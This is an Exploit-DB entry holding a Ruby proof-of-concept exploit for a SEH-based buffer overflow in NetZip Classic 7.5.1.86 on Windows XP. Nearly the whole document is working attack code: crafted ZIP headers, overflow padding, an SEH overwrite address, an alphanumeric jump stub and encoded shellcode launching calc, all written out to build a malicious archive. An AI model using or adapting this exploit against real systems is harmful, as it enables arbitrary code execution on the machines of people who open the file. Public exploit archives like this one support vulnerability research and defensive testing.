Exploit-DB #16083
Description: NetZip - Classic Buffer Overflow (SEH)
Type: local
Platform: windows
Date: 2011-01-30
Author: C4SS!0 G0M3S

Exploit:
#
#
#[+]Exploit Title: Exploit Buffer Overflow NetZip Classic(SEH)
#[+]Date: 01\30\\2011
#[+]Author: C4SS!0 G0M3S
#[+]Software Link: http://proforma.real.com/real/nzclassic/nzclassic.html
#[+]Version: 7.5.1.86
#[+]Tested on: WIN-XP SP3 PORTUGUESE BRAZILIAN
#[+]CVE: N/A
#
#The structure of the zip file has been copied from the exploit CORELAN TEAM.
#Thanks For all Turuial Corelan Team
#
#Created BY C4SS!0 G0M3S
#WWW.INVASAO.COM.BR
#Louredo_@hotmail.com
#
#

def usage()
system("cls")
system("color 4f");
str = 
"""


              #######   #   ###### ######   #  #############
              #        ##   #      #        #  #           #  
              #      #  #   #      #        #  #           #   
              #      ###### ###### ######   #  #           #   
              #         #        #      #   #  #           #  
              #         #        #      #   #  #           #    
              #######   #   ###### ######   0  #############
			  
              
	      [+]Exploit Buffer Overlfow NetZip Classic 7.5.1.86
			  
	      [+]Author C4SS!0 G0M3S
			  
	      [+]E-mail Louredo_@hotmail.com
			  
			  
"""
print str
end
if ARGV.length !=1
     usage()
	 print "[-]Usage: "+$0+" <File Name>\n"
	 print "[-]Exemple: "+$0+" Exploit.zip\n"
	 exit
end
usage()
filename = ARGV[0]
head1 = 
"\x50\x4B\x03\x04\x14\x00\x00"+
"\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00" +
"\xe4\x0f" +
"\x00\x00\x00";

head2 = 
"\x50\x4B\x01\x02\x14\x00\x14"+
"\x00\x00\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\xe4\x0f"+ 
"\x00\x00\x00\x00\x00\x00\x01\x00"+
"\x24\x00\x00\x00\x00\x00\x00\x00";

end1 = 
"\x50\x4B\x05\x06\x00\x00\x00\x00\x01\x00\x01\x00"+
"\x12\x10\x00\x00"+
"\x02\x10\x00\x00"+ 
"\x00\x00";

buffer = "\x41" * 235
nseh = "\x59\x40\x40\x40"
seh = [0x10057A41].pack('V')#
egg = "\x41" * 5 #4 INC ECX
egg += "\x61" * 6 #6 POPAD
egg += "\x04\x10" #ADD AL,10
egg += "\x98\xd1" #CALL EAX 
egg += "\x41" * 5 #JUNK TO SHELLCODE
puts "              [*]Identifying the length Shellcode\n\n"
sleep(1)
shellcode = 
"PYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJIYKIPVQXIOO3L5FBPXLN9D"+
"46DJTNQ5N0XVQD84XK3M8KL33RXE8L4MUP02XOLSUO92XOFVCKEL3X4NNSM5RNJGJP2ELOOSRJM5M64X"+ #Shellcode WinExec("calc",0) 
"USVQ9WQKWLVSPJUT1XJDFWEZUB4O7SLKKUKUURKZP179M1XKMWRP8EKI2M8YSZW7KCJ8OPL0O7SHSPSY"+ #ALPHA BASEADDRESS EAX
"41GL7XXWKLCLNK35O0WQCSTPQY1VSXML5O6L5IQCNMHJUNJL1UUOX7VMIWMWK9PXYKN0QE1OFTNVOMUT"+
"YK7OGT8FOPYLP3K8W5UCOM83KYZA"

puts "              [*]The length is Shellcode: #{shellcode.length}\n\n"
sleep(1)


junk = "\x41" * (4064 - (buffer+nseh+seh+egg+shellcode).length)

payload = buffer+nseh+seh+egg+shellcode+junk

payload += ".txt"

exploit_zip = head1+payload+head2+payload+end1
puts "              [*]Creating the File #{filename}\n\n"
sleep(1)
begin

f = File.open(filename,"w")
f.puts exploit_zip
f.close
puts "              [*]The File #{filename} was Created with Success\n\n"
sleep(1)
rescue

puts "              [*]Error When Creating The File #{filename}\n\n"
exit   

end